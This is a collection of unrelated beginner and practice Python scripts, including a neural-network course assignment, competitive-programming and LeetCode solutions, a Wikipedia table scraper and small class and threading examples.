grads = backward_propagation(parameters, cache, X, Y)
parameters = update_parameters(parameters, grads)
# Print the cost every 1000 iterations
if print_cost and i % 1000 == 0:
print ("Cost after iteration %i: %f" %(i, cost))
return parameters
def predict(parameters, X):
"""
Using the learned parameters, predicts a class for each example in X
Arguments:
parameters -- python dictionary containing your parameters
X -- input data of size (n_x, m)
Returns
predictions -- vector of predictions of our model (red: 0 / blue: 1)
"""
A2, cache = forward_propagation(X, parameters)
predictions = (A2>0.5)
return predictions
|
# вывсети значения которые есть в обоих списках
def same_elements(list_1, list_2):
new_list = []
for i in list_1:
for j in list_2:
if i == j:
new_list.append(i)
break
return new_list
if __name__ == "__main__":
list_1 = [1, 3, 5, 8, "game", [1, 2], [2, 3], 4, 10]
list_2 = [1, 2, 3, 4, "game", "name", [1, 2], [13, 0], 0]
print(same_elements(list_1, list_2))
|
# converting our csv file to a sqlite file
import sqlite3
import csv
conn = sqlite3.connect('fires.sqlite')
cur = conn.cursor()
cur.execute('DROP TABLE IF EXISTS fires')
cur.execute('''
CREATE TABLE "fires"(
"id" SERIAL PRIMARY KEY,
"fire_year" INT,
"report_date" DATE,
"county" VARCHAR,
"latitude" DEC,
"longitude" DEC,
"total_acres" DEC,
"general_cause" VARCHAR
)
''')
fname = input('Enter the fires csv file name: ')
if len(fname) < 1:
fname = "Resources/or_df.csv"
with open(fname) as csv_file:
csv_reader = csv.reader(csv_file, delimiter=',')
for row in csv_reader:
print(row)
id = row[0]
fire_year = row[1]
report_date = row[2]
county = row[3]
latitude = row[4]
longitude = row[5]
total_acres = row[6]
general_cause = row[7]
cur.execute('''INSERT INTO fires(id,fire_year,report_date,county,latitude,longitude,total_acres,general_cause)
VALUES (?,?,?,?,?,?,?,?)''', (id, fire_year, report_date, county, latitude, longitude, total_acres, general_cause))
conn.commit()
|
def solution(array, commands):
answer = []
for command in commands:
sort = array[command[0]-1:command[1]]
for i in range(len(sort)):
for j in range(i, len(sort)):
if sort[i] > sort[j]:
sort[i], sort[j] = sort[j], sort[i]
answer.append(sort[command[2]-1])
return answer
print(solution([1,5,2,6,3,7,4], [[2,5,3],[4,4,1],[1,7,3]]))
|
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from linearRegression.linearRegression import LinearRegression
from metrics import *
np.random.seed(42)
N = 30
P = 5
X = pd.DataFrame(np.random.randn(N, P))
y = pd.Series(np.random.randn(N))
print("===============================================")
print("For fit_vectorised")
print("===============================================")
for lr_type in ["constant"]:
for fit_intercept in [True, False]:
LR = LinearRegression(fit_intercept=fit_intercept)
LR.fit_vectorised(X, y, batch_size=30, lr_type=lr_type) # here you can use fit_non_vectorised / fit_autograd methods
y_hat = LR.predict(X)
print("--------------------------------------------------")
print("fit_intercept : "+str(fit_intercept)+" && lr_type : "+str(lr_type))
print("--------------------------------------------------")
print('RMSE: ', rmse(y_hat, y))
print('MAE: ', mae(y_hat, y))
print("===============================================")
print("For fit_non_vectorised")
print("===============================================")
for lr_type in ["constant"]:
for fit_intercept in [True, False]:
LR = LinearRegression(fit_intercept=fit_intercept)
LR.fit_non_vectorised(X, y, batch_size=30,lr_type=lr_type) # here you can use fit_non_vectorised / fit_autograd methods
y_hat = LR.predict(X)
print("--------------------------------------------------")
print("fit_intercept : "+str(fit_intercept)+" && lr_type : "+str(lr_type))
print("--------------------------------------------------")
print('RMSE: ', rmse(y_hat, y))
print('MAE: ', mae(y_hat, y))
print("===============================================")
print("For fit_autograd")
print("===============================================")
for lr_type in ["constant"]:
for fit_intercept in [True, False]:
LR = LinearRegression(fit_intercept=fit_intercept)
LR.fit_autograd(X, y, batch_size=30,lr_type=lr_type) # here you can use fit_non_vectorised / fit_autograd methods
y_hat = LR.predict(X)
print("--------------------------------------------------")
print("fit_intercept : "+str(fit_intercept)+" && lr_type : "+str(lr_type))
print("--------------------------------------------------")
print('RMSE: ', rmse(y_hat, y))
print('MAE: ', mae(y_hat, y))
|
#!/usr/bin/env python3
def main():
c = input()
if c == 'z' * 20 or c == 'a':
print('NO')
else:
if len(c) == 1:
print(chr(ord(c[0])-1)+'a')
elif sorted(c) != sorted(c, reverse=True):
if list(c) == sorted(c):
print(''.join(sorted(c, reverse=True)))
else:
print(''.join(sorted(c)))
else:
if c[0] == 'z':
print(c[:-1] + 'ya')
elif c[0] == 'a':
print(c[:-2] + 'b')
else:
print(c[:-3]+chr(ord(c[0])+1))
if __name__ == "__main__":
main()
|
#!/usr/bin/env python3
import math
# n進数の各位の和
def base_10_n(x, n):
if x == 0:
return 0
# logで桁数出してはいけない、浮動小数点の誤差があるから死ぬ
a = int(math.log(x, n))
ans = 0
for i in range(a, -1, -1):
ans += x // n**i
x %= n**i
ans += x
return ans
def s(n, r):
if n == 0:
return 0
return n % r + s(n // r, r)
def main():
# N = int(input())
# ans = 10**12
# for j in range(N+1):
# # c = base_10_n(N-j, 6)
# # d = base_10_n(j, 9)
# c = s(j,6)
# d = s(N-j,9)
# ans = min(ans, c+d)
# print(ans)
for i in range(1,10**5):
if base_10_n(i,9) != s(i,9):
print(i,base_10_n(i,9),s(i,9))
print(math.log(9**5,9))
if __name__ == "__main__":
main()
|
#!/usr/bin/env python3
from collections import deque, Counter
from heapq import heappop, heappush
from bisect import bisect_right
def main():
A, B, C = map(int, input().split())
if A < C < B or B < C < A:
print('Yes')
else:
print('No')
if __name__ == "__main__":
main()
|
#!/usr/bin/env python3
def main():
S = input()
ans = 0
for l in S.split('+'):
if len(l) == 1 and l != '0':
ans += 1
elif '0' not in l:
ans += 1
print(ans)
if __name__ == "__main__":
main()
|
#!/usr/bin/env python3
def main():
N = int(input())
if int(str(N)[-1]) in [2,4,5,7,9]:
print('hon')
elif int(str(N)[-1]) in [0,1,6,8]:
print('pon')
else:
print('bon')
if __name__ == "__main__":
main()
|
class Employee:
def __init__(self, first, last, pay):
# instance variables
self.first = first
self.last = last
self.pay = pay
@property # we can call this method as an attribute
def email(self):
return '{}.{}@company.com'.format(self.first, self.last)
@property
def fullname(self):
return '{} {}'.format(self.first, self.last)
@fullname.setter
def fullname(self, name):
self.first, self.last = name.split(' ')
@fullname.deleter
def fullname(self):
print('Delete Name!')
self.first = None
self.last = None
emp_1 = Employee('Jeff', 'Zhao', 50000)
############## Test @property ###############
'''
emp_1.first = 'Jim' # change the first name
print(emp_1.fullname, emp_1.email)
'''
############## Test setter and deleter ###############
emp_1.fullname = 'Bill Gates'
print(emp_1.fullname, emp_1.email)
del emp_1.fullname
print(emp_1.fullname, emp_1.email)
|
from turtle import Turtle
STARTING_POSITIONS = [(0, 0), (-20, 0), (-40, 0)]
MOVE_DISTANCE = 20
UP = 90
DOWN = 270
LEFT = 180
RIGHT = 0
class Snake:
def __init__(self):
self.bodies = []
self.create_snake()
self.head = self.bodies[0]
def create_snake(self):
for starting_point in STARTING_POSITIONS:
self.add_segment(starting_point)
def add_segment(self, position):
new_body = Turtle("square")
new_body.color("white")
new_body.penup()
new_body.goto(position)
self.bodies.append(new_body)
def extend(self):
self.add_segment(self.bodies[-1].position())
def reset(self):
for body in self.bodies:
body.goto(1000, 1000)
self.bodies.clear()
self.create_snake()
self.head = self.bodies[0]
def move(self):
for body in range(len(self.bodies) - 1, 0, -1):
new_x = self.bodies[body - 1].xcor()
new_y = self.bodies[body - 1].ycor()
self.bodies[body].goto(new_x, new_y)
self.head.forward(MOVE_DISTANCE)
def up(self):
if self.head.heading() != DOWN:
self.head.setheading(UP)
def down(self):
if self.head.heading() != UP:
self.head.setheading(DOWN)
def left(self):
if self.head.heading() != RIGHT:
self.head.setheading(LEFT)
def right(self):
if self.head.heading() != LEFT:
self.head.setheading(RIGHT)
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
from __future__ import division
import numpy as np
"""
Computes a given quantile of the data considering
that each sample has a weight.
x is a N float array
weights is a N float array, it expects sum w_i = 1
quantile is a float in [0.0, 1.0]
"""
def weighted_quantile(x, weights, quantile):
I = np.argsort(x)
sort_x = x[I]
sort_w = weights[I]
acum_w = np.add.accumulate(sort_w)
norm_w = (acum_w - 0.5*sort_w)/acum_w[-1]
interpq = np.searchsorted(norm_w, [quantile])[0]
if interpq == 0:
return sort_x[0]
elif interpq == len(x):
return sort_x[-1]
else:
tmp1 = (norm_w[interpq] - quantile)/(norm_w[interpq] - norm_w[interpq-1])
tmp2 = (quantile - norm_w[interpq-1])/(norm_w[interpq] - norm_w[interpq-1])
assert tmp1>=0 and tmp2>=0 and tmp1<=1 and tmp2<=1
return sort_x[interpq-1]*tmp1 + sort_x[interpq]*tmp2
"""
Computes the weighted interquartile range (IQR) of x.
x is a N float array
weights is a N float array, it expects sum w_i = 1
"""
def wIQR(x, weights):
return weighted_quantile(x, weights, 0.75) - weighted_quantile(x, weights, 0.25)
"""
Computes the weighted standard deviation of x.
x is a N float array
weights is a N float array, it expects sum w_i = 1
"""
def wSTD(x, weights):
wmean = np.average(x, weights=weights)
return np.sqrt(np.average((x - wmean)**2, weights=weights))
"""
Computes a robust measure of scale by comparing the weighted versions of the
standard deviation and the interquartile range of x.
x is a N float array
weights is a N float array, it expects sum w_i = 1
"""
def robust_scale(x, weights):
return np.amin([wSTD(x, weights), wIQR(x, weights)/1.349])
def robust_loc(x, weights):
return weighted_quantile(x, weights, 0.5)
|
# Import the module that stores string data
import string
# Collect and print out all ascii letters - lowercase and uppercase
# Collect and print out all of the numeric digits
######################
# Import the module that can generate random numbers
# Collect and print out a random integer between 1 and 10
# Randomly shuffle the below list and print it to the terminal
######################
# Import the module used for hashing messages
# Collect and print out all of the available hashing algorithms
|
###############
# APPEND MODE #
###############
# The "a" mode stands for append and allows the application to add new text onto the end of an existing file
notesFile = open("Notes.txt", "a")
# The .write() method in conjunction with the append mode will write to the end of a file
notesFile.write("\nThis is a completely new line of text created by the APPEND mode.")
# Closing the file
notesFile.close()
################
# READING MODE #
################
# Opening up the file once more in read mode to see the changes that were made
notesFile = open("Notes.txt", "r")
# Reading in the existing text to the terminal
notesText = notesFile.read()
print(notesText)
# Closing the file
notesFile.close()
|
name=input("Enter your name: " )
bname= "B" + name[1:]
print(bname)
print("Oh is it so")
|
import os
import csv
#define variables
total_months = 0
total_revenue = 0
revenue_average = 0
revenue_change = 0
month_change = []
month_count = []
month =[]
# Path to collect data from the Resources folder
budget_path = os.path.join('Resource', 'budget_data.csv')
# Read in the CSV file
with open(budget_path, 'r') as csvfile:
# Split the data on commas
csvreader = csv.reader(csvfile, delimiter=',')
# Skip the header
csvheader = next(csvreader)
row = next (csvreader)
# Set variables within rows
total_months = 0
total_revenue = int(row[1])
previous_revenue = int(row[1])
greatest_increase = int(row[1])
greatest_decrease = int(row[1])
greatest_increase_month = row[0]
greatest_decrease_month = row[0]
# Start forloop
for row in csvreader:
# Count number of months in file
month.append(row[0])
month_count = len(month) + 1
# Count the total revnue
total_revenue += int(row[1])
#Average the changes of the profits/losses over the entire timeframe
revenue_change = int(row[1]) - previous_revenue
month_change.append(revenue_change)
previous_revenue = int(row[1])
revenue_average = sum(month_change) / len(month_change)
# Find the greatest increase of profit, and list the date with correspond profit value
if int(row[1]) > greatest_increase:
greatest_increase = int(row[1])
greatest_increase_month = row[0]
# Find the greatest decrease of profit, and list the date with correspnd profit value
if int(row[1]) < greatest_decrease:
greatest_decrease = int(row[1])
greatest_decrease_month = row[0]
highest_revenue = max(month_change)
lowest_revenue = min(month_change)
#print statements
print(f"Financial Analysis")
print(f"------------------------")
print(f"Total Months: {month_count}")
print(f"Total: ${total_revenue}")
print(f"Average Change: {revenue_average}")
print(f"Greatest Inc in Profits: {greatest_increase_month}, {highest_revenue}")
print(f"Greatest Dec in Profits: {greatest_decrease_month}, {lowest_revenue}")
# Export a text file with the results
bank_statement_analysis = os.path.join("Analysis", "bank_statement_data.txt")
with open(bank_statement_analysis, "w") as txtfile:
txtfile.write(f"Financial Analysis\n")
txtfile.write(f"------------------------\n")
txtfile.write(f"Total Months: {month_count}\n")
txtfile.write(f"Total: ${total_revenue}\n")
txtfile.write(f"Average Change: {revenue_average}\n")
txtfile.write(f"Greatest Inc in Profits: {greatest_increase_month}, {highest_revenue}\n")
txtfile.write(f"Greatest Dec in Profits: {greatest_decrease_month}, {lowest_revenue}\n")
|
import calendar
import time
t1 = time.time()
# Create a plain text calendar
c = calendar.TextCalendar(calendar.MONDAY)
str = c.formatyear(1900, w=2, l=1, c=6, m=3)
#print(str)
count = 0
for year in range(1901,2001):
for month in range(1,13):
res = calendar.monthrange(year, month)
if res[0] == 1:
count += 1
print(count)
t2 = time.time()
print(t2-t1)
|
import time
t1 = time.time()
def is_prime(n):
if n == 1:
return False
if n%2 == 0:
return False
for i in range(3,int(n**0.5)+1,2):
if n%i == 0:
return False
return True
def sieve(n):
prime = [True]*n
prime[0] = False
prime[1] = False
prime[2] = True
for i in range(3,int(n**0.5)+1,2):
index = i*2
while index < n:
prime[index] = False
index += i
prime_list = [2]
for i in range(3,n,2):
if prime[i]:
prime_list.append(i)
return prime_list
p = sieve(5000)
val = 0
p_list = []
for i in p:
val += i
if val >= 1000000:
break
p_list.append(val)
flag = True
while flag:
if not is_prime(p_list[-1]):
p_list[-1] -= p[0]
p = p[1:]
if is_prime(p_list[-1]):
flag = False
print(p_list[-1], len(p_list))
t2 = time.time()
print(t2-t1)
|
import time
start = time.time()
def fact(n):
if n == 0:
return 1
f = 1
for i in range(2,n+1):
f *= i
return f
count = 0
for n in range(23,101):
for r in range(1,n):
val = fact(n)/(fact(r)*fact(n-r))
if val > 1000000:
count += 1
print(count)
end = time.time()
print(end-start)
|
import time
def right_triangle(b, c):
d1 = b[0]**2 + b[1]**2
d2 = c[0]**2 + c[1]**2
d3 = (b[0] - c[0])**2 + (b[1] - c[1])**2
if (d1 + d2 == d3) or (d1 + d3 == d2) or (d2 + d3) == d1:
return True
else:
False
def generate_points(x_limit, y_limit):
point_pairs = []
for i in range(x_limit + 1):
for j in range(y_limit + 1):
point_pairs.append((i, j))
return point_pairs
if __name__ == '__main__':
start = time.time()
x_limit, y_limit = 50, 50
points = generate_points(x_limit, y_limit)
count = 0
for i in range(1, len(points)):
for j in range(i + 1, len(points)):
if right_triangle(points[i], points[j]):
count += 1
print("Total triangles possible:", count)
print("Calculated in:", time.time() - start)
|
# -*- coding: utf-8 -*-
"""
Created on Sun Feb 17 16:34:26 2019
@author: Krozz
"""
#First Method
'''
def divn(x,n):
for i in range(1,n+1):
if x%i != 0:
return False
return True
res = 0
n = 20
temp = n
while temp>res:
temp += n
if divn(temp,n):
res = temp
print(res)
'''
#Second Method
num = 1
n = 10
a = list(range(1,n+1))
def remove(x,a):
for i in range(1,n+1):
for j in range(i,n+1):
if i*j == x:
return a.remove(i*j)
print(num)
|
# Integers
# a = 34
# b = 23
# c = 31
#print (a + b + c)
#print ("Output Vars")
#print ("Output Vars")
#print ("La suma de")
#print ("La suma de")
#print(type(a))
# Float
#a = 20.90
#b = 23.12
#c = 22.43
#print(a + b + c)
#print(type(a))
# Boolean
#d = true
#e = false
# String
#s = "Este es un String de comillas dobles"
#ss = 'Este es un String de comillas simples'
#sss = 'String que tiene "comillas dobles" dentro'
#ssss = "String que tiene 'comillas simples' dentro"
#print(s+ss)
#print(sss)
#print(s*3)
#print(s[1])
#print(s[1:3])
#print(s[11:])
#print(s[-11])
#print(s[:-11])
#print(s[-11:])
# List
#lista =[1, 2, 3, 4, 5, 6, 7, 8, 9]
#print(lista)
#print(lista)
#lista.append(0)
#print(lista)
#lista.insert(0, 0)
#print (lista)
#lista.pop()
#print(lista)
#lista.pop(0)
#print(lista)
#lista.pop(len(lista)-1)
#print(lista)
#lista[10] = 10
#print(lista)
#print(lista.index(9))
#lista.pop(lista.index(9))
#print(lista[10])
#print(sun(lista))
#for numero in lista:
# print(numero)
# Tuplas
# t = {1,2, "abc", True,[4,5]}
# print(t)
#
# print(t[2])
#
# for item in t:
# print(item)
# Dict
# d = {1:2, "abc": 34, 2:"item", "d":"ch", "li":[1,2,4], "dic":{11:23}}
# print(d.keys())
# print(d.values())
# print(d.items())
# print(d)
# print(d[1])
# print(d["li"][0])
# print(d["dic"])
# print(d["dic"][11])
#sets
s={1,2,3,4}
print(s)
print(type(s))
for item in s:
print(item)
|
#Neural network for feedforward propagation
import numpy as np
import Config
#Neural net weights from Config
num_w0 = Config.num_w0
num_w1 = Config.num_w1
num_w2 = Config.num_w2
num_w3 = Config.num_w3
#Shapes of neural net matrices
W1_shape = (num_w1, num_w0)
W2_shape = (num_w2, num_w1)
W3_shape = (num_w3, num_w2)
#Function to populate neural net matrices from input weights
def splice_weights(weights):
W1 = weights[0: num_w1*num_w0]
W2 = weights[num_w1*num_w0 : num_w2*num_w1 + num_w1*num_w0]
W3 = weights[num_w2*num_w1 + num_w1*num_w0 :]
return (W1.reshape(num_w1, num_w0), W2.reshape(num_w2, num_w1), W3.reshape(num_w3, num_w2))
#Sigmoid activation function
def sigmoid(z):
s = 1 / (1 + np.exp(-z))
return s
#Fuction for feedforward propagation
def forward_propagation(input_vector, weights_vector):
W1, W2, W3 = splice_weights(weights_vector)
#Neural network feed forward
T0 = np.matmul(W1, input_vector.T)
T1 = np.tanh(T0)
T2 = np.matmul(W2, T1)
T3 = np.tanh(T2)
T4 = np.matmul(W3, T3)
T5 = sigmoid(T4)
return np.argmax(T5)
|
from random import randint
play = ["Rock", "Paper", "Scissors"]
computer = play[randint(0, 2)]
print('Computer: {}'.format(computer))
player = input("Rock, Paper, Scissors? ")
print('Player: {}'.format(player))
if player == computer:
print("Tie!")
elif player == "Rock":
if computer == "Scissors":
print("You Win!")
else:
print("You lose!")
|
# Input Image, Convert to Grayscale, Write to current folder
# Show Image using Matplotlib and OpenCV
import cv2 # Import OpenCV
import matplotlib.pyplot as plt # Import pyplot from Matplotlib
import numpy as np # Import Numpy
img = cv2.imread('image.png', cv2.IMREAD_GRAYSCALE) # Read in the Image and Convert it to Grayscale
#---------------- Show Image using OpenCV ---------------#
cv2.imshow('image',img) # Show the image with name 'image'
cv2.imwrite('gray_image.png',img) # Write Image to current folder
cv2.waitKey(0) # Wait till key is pressed
cv2.destroyAllWindows() # Destroy all Windows and exit
#---------- Show Image Using Matplotlib ------------------#
plt.imshow(img, cmap='gray', interpolation='bicubic') # Show Image in Grayscale
#plt.plot([50,100],[80,100], 'g',linewidth=5) # Prints a line on the Image og "green" color, line width = 5
plt.show() # Show Image
#------------------ EOC ------------------#
|
from datetime import datetime, timedelta
h, m = map(int, input().split(' '))
dt = datetime(2017,3,7,hour=h, minute=m)
td = dt - timedelta(minutes=45)
print (td.hour, td.minute)
|
import math
testcases = int(input())
for t in range(testcases):
candidates = int(input())
cdV = []
for c in range(candidates):
cdV.append(int(input()))
maxCV = max(cdV)
minCV = min(cdV)
midV = sum(cdV)/2
if not(maxCV == minCV) and maxCV > midV:
print("majority winner " + str(cdV.index(maxCV) + 1))
# print(maxCV, midV)
elif not(maxCV == minCV) and maxCV <= midV:
print("minority winner " + str(cdV.index(maxCV) + 1))
# print(maxCV, midV)
elif maxCV == minCV:
print("no winner")
|
def get_permutations(sequence):
'''
Enumerate all permutations of a given string
sequence (string): an arbitrary string to permute.
Returns: a list of all permutations of sequence
'''
if len(sequence) <= 1:
return [sequence]
else:
permutations = []
first_char = sequence[0]
next_chars = sequence[1:]
permutations_of_subsequence = get_permutations(next_chars)
for seq in permutations_of_subsequence:
for index in range(len(seq) + 1):
new_seq = seq[0:index] + first_char + seq[index:len(seq) + 1]
permutations.append(new_seq)
# print(permutations)
return permutations
|
# Manage dependencies
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
# For web scraping
from urllib.request import urlopen
from bs4 import BeautifulSoup
import lxml
# Get html
# url = "http://www.hubertiming.com/results/2017GPTR10K"
url = 'https://en.wikipedia.org/wiki/List_of_NASA_missions'
html = urlopen(url) # retrieves the html and stores it in a variable
# Create beautiful soup object
soup = BeautifulSoup(html, 'lxml') # The object to be created and its html parser
# Retrieve all the tabular data
rows = soup.find_all('tr')
list_rows = [] # Define empty array
for row in rows:
row_td = row.find_all('td') # Iterate through the table for <td> tags
str_cells = str(row_td) # Convert to string format
cleantext = BeautifulSoup(str_cells, 'lxml').get_text() # Retrieve the text from the table entries
print(cleantext) # Sanity check
list_rows.append(cleantext) # Upload all strings to the empty array.
# Convert the list into a dataframe
df_racedata = pd.DataFrame(list_rows) # Create a dataframe from list_rows
def format(df): # Define a function for formatting dataframes
df = df[0].str.split(',', expand = True) # Split at commas
df[0] = df[0].str.strip('[') # Remove opening brackets
df[13] = df[13].str.strip(']') # Remove closing brackets
df[1] = df[1].str.strip(']') # Remove closing brackets
return df
df_racedata = format(df_racedata) # Call the function on the race dataframe
print(df_racedata.head(10)) # Sanity check
# Find some headers
col_labels = soup.find_all('th') # Find headers
all_header = [] # Initialize array
col_str = str(col_labels) # Convert to strings
cleantext2 = BeautifulSoup(col_str, 'lxml').get_text() # Remove tags
all_header.append(cleantext2) # Append to empty array
print(all_header) # Sanity check
df_header = pd.DataFrame(all_header) # Convert to dataframe
df_header = format(df_header) # Format the header dataframe
frames = [df_header, df_racedata] # Define an array of dataframe variables
df_concat = pd.concat(frames) # Concatenate the frames
df_final = df_concat.rename(columns=df_concat.iloc[0]) # Name columns after first row
df_final = df_final.dropna(axis=0, how='any') # Drop empty rows
df_final = df_final.drop(df_final.index[0]) # Drop the first row which duplicates column titles
print(df_final.head(10)) # Check the result
# Data analysis and visualization
|
from copy import deepcopy
from src.CourseMaterials.Week3.Oef1.place import Place
class Board:
starting_board = [[Place(x, y) for x in range(3)] for y in range(3)]
def __init__(self, inner_board=starting_board, value="", children=[], parent_board=deepcopy(starting_board)):
self.inner_board = deepcopy(inner_board)
self.value = value
self.children = deepcopy(children)
self.parent_board = parent_board
def get_free_places(self):
free_spaces = []
for i in range(len(self.inner_board)):
for j in range(len(self.inner_board[i])):
if self.inner_board[i][j].value is "~":
free_spaces.append(self.inner_board[i][j])
return free_spaces
def mark_place(self, place, symbol):
self.children.append(Board(self.inner_board))
self.children[len(self.children) - 1].inner_board[place.row][place.column].value = symbol
def __str__(self):
output = ""
for places in self.inner_board:
for place in places:
output += str(place.value) + " "
output += "\n"
return output
def __repr__(self):
return repr(self.__str__())
|
import random
board_width = 10
board_height = 10
# board = [['.'] * board_width] * board_height
# Dit gaat niet omdat er dan een referenties tussen de arrays liggen
# als je element 0 in array 0 aanpast zal element 0 overal aangepast worden
better_board = [['.' for x in range(board_width)] for y in range(board_height)]
def draw_board():
for line in range(board_height):
for place in range(board_width):
print(better_board[line][place], end='')
print()
def computer_make_move():
random_number = random.randint(0, board_width)
#place_move(random_number)
def place_move(column):
free_row = find_free_spot_on_column(column)
if (computer_turn):
better_board[free_row][int(column)] = '#'
else:
better_board[free_row][int(column)] = '@'
def find_free_spot_on_column(column):
return 1
draw_board()
game_won = False
computer_turn = False
print('Welkom bij 4 op 1 rij!')
print('Jij mag beginnen! Typ de kolomnummer in waar je je zet wil plaatsen')
while (not game_won):
if (computer_turn):
computer_make_move()
print('De computer heeft een zet gedaan, het is jouw beurt!')
draw_board()
else:
print('Typ de kolomnummer in waar je je zet wil plaatsen')
move = int(input()) - 1
place_move(move)
computer_turn = not computer_turn
|
# encoding: utf-8
"""
@ author: wangmingrui
@ time: 2021/3/10 14:09
@ desc: Box类拥有add()与remove()方法,
并提供了对execute()方法的访问。
这样我们就可以执行添加或者删除条目的动作。
对execute()方法的访问是通过RLock()来管理
"""
import threading
import time
class Box(object):
# 设置可重入锁,他可以在一个线程中多次被获取,但是获取后必须被释放
lock = threading.RLock()
def __init__(self):
self.total_items = 0
def execute(self, n):
Box.lock.acquire()
self.total_items += n
Box.lock.release()
def add(self):
Box.lock.acquire()
self.execute(1) # 调用execute方法,再次获取lock(重入)
Box.lock.release()
def remove(self):
Box.lock.acquire()
self.execute(-1) # 调用execute方法,再次获取lock(重入)
Box.lock.release()
# 将两个方法在单独的线程中运行n次
def adder(box, items):
while items > 0:
print("adding 1 item in the box")
box.add()
time.sleep(1)
items -= 1
def remover(box, items):
while items > 0:
print("removing 1 item in the box")
box.remove()
time.sleep(1)
items -= 1
# 主程序构建一些线程,并确保可以正常工作
if __name__ == "__main__":
items = 5
print("putting %d items in the box " % items)
box = Box()
t1 = threading.Thread(target=adder, args=(box, items))
t2 = threading.Thread(target=remover, args=(box, items))
t1.start()
t2.start()
t1.join()
t2.join()
print("%d items still remain in the box" % box.total_items)
|
print("__________________________________________________________________")
print("| PERSON \U0001F464 | RATING \u2764 | FRIENDS \U0001F465| POSTS \U0001F6A9| COMMENTS \U0001F4AC|")
class User:
def __init__(self, nickname, rating, friends, posts, comments):
self.nickname = nickname
self.rating = rating
self.friends = friends
self.posts = posts
self.comments = comments
def __str__(self):
return f"|{self.nickname:>12}|{self.rating:12}|{self.friends:>12}|{self.posts:12}|{self.comments:12}|"
def addl(self):
self.rating += 1
def dell(self):
if self.ratingp():
self.rating -= 1
while self.ratingn():
self.rating = self.rating + 1
def ratingp(self):
return self.rating >= 0
def ratingn(self):
return self.rating <= -1
def addf(self):
self.friends += 1
def delf(self):
if self.friendsp():
self.friends -= 1
while self.friendsn():
self.friends = self.friends + 1
def friendsp(self):
return self.friends >= 0
def friendsn(self):
return self.friends <= -1
def addp(self):
self.posts += 1
def delp(self):
if self.postsp():
self.posts -= 1
while self.postsn():
self.posts = self.posts + 1
def postsp(self):
return self.posts >= 0
def postsn(self):
return self.posts <= -1
def addc(self):
self.comments += 1
def delc(self):
if self.commentsp():
self.comments -= 1
while self.commentsn():
self.comments = self.comments + 1
def commentsp(self):
return self.comments >= 0
def commentsn(self):
return self.comments <= -1
#########################################
users = []
users.append( User("Marry", 4.0, 234, 13, 35) )
users.append( User("John", 3.5, 23, 43, 12) )
users.append( User("Kate", 0, 92, 24, 32) )
users[1].addl()
users[2].dell()
users[1].addf()
users[2].delf()
users[1].addp()
users[2].delp()
users[1].addc()
users[2].delc()
for u in users:
print( u )
|
# Definition for a binary tree node.
# class TreeNode(object):
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Codec:
# https://leetcode.com/discuss/66147/recursive-preorder-python-and-c-o-n
# rcs
# iter, next
# 200ms
def serialize(self, root):
def doit(node):
if node:
res.append(node.val)
doit(node.left)
doit(node.right)
else:
res.append('#') # waste time and space
res = []
doit(root)
return res
def deserialize(self, data):
def doit():
val = data.next()
if val == '#':
return None
node = TreeNode(val)
node.left = doit()
node.right = doit()
return node
data = iter(data)
return doit()
# https://leetcode.com/discuss/66180/tuplify-json-python
# rcs
# json
# 200ms
def serialize(self, root):
def tuplify(root):
return root and (root.val, tuplify(root.left), tuplify(root.right))
return json.dumps(tuplify(root))
def deserialize(self, data):
def detuplify(t):
if t:
root = TreeNode(t[0])
root.left = detuplify(t[1])
root.right = detuplify(t[2])
return root
return detuplify(json.loads(data))
# Your Codec object will be instantiated and called as such:
# codec = Codec()
# codec.deserialize(codec.serialize(root))
|
class Solution(object):
def fractionToDecimal(self, numerator, denominator):
"""
:type numerator: int
:type denominator: int
:rtype: str
"""
# s = str(1.0 * numerator / denominator)
# res = [s.split('.')[0]]
# Wrong answer caused by Scientific Notation
# >>> str(-1*1.0/214748364)
# '-4.65661289042e-09'
# https://leetcode.com/discuss/22652/do-not-use-python-as-cpp-heres-a-short-version-python-code
# 44ms
sign = '-' if numerator * denominator < 0 else ''
n, remainder = divmod(abs(numerator), abs(denominator))
res = [sign + str(n) + '.']
stack = []
while remainder not in stack:
stack.append(remainder)
n, remainder = divmod(remainder*10, abs(denominator))
res.append(str(n))
index = stack.index(remainder)
res.insert(index+1, '(')
res.append(')')
return ''.join(res).replace('(0)', '').rstrip('.')
|
class Solution:
# @param num, a list of integers
# @return an integer
def majorityElement(self, num):
# Majority Vote
vote = 1
candidate = num[0]
for i in num[1:]:
if vote == 0:
candidate, vote = i, 1
elif i == candidate:
vote += 1
else:
vote -= 1
return candidate
# sorted
return sorted(num)[len(num)/2]
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.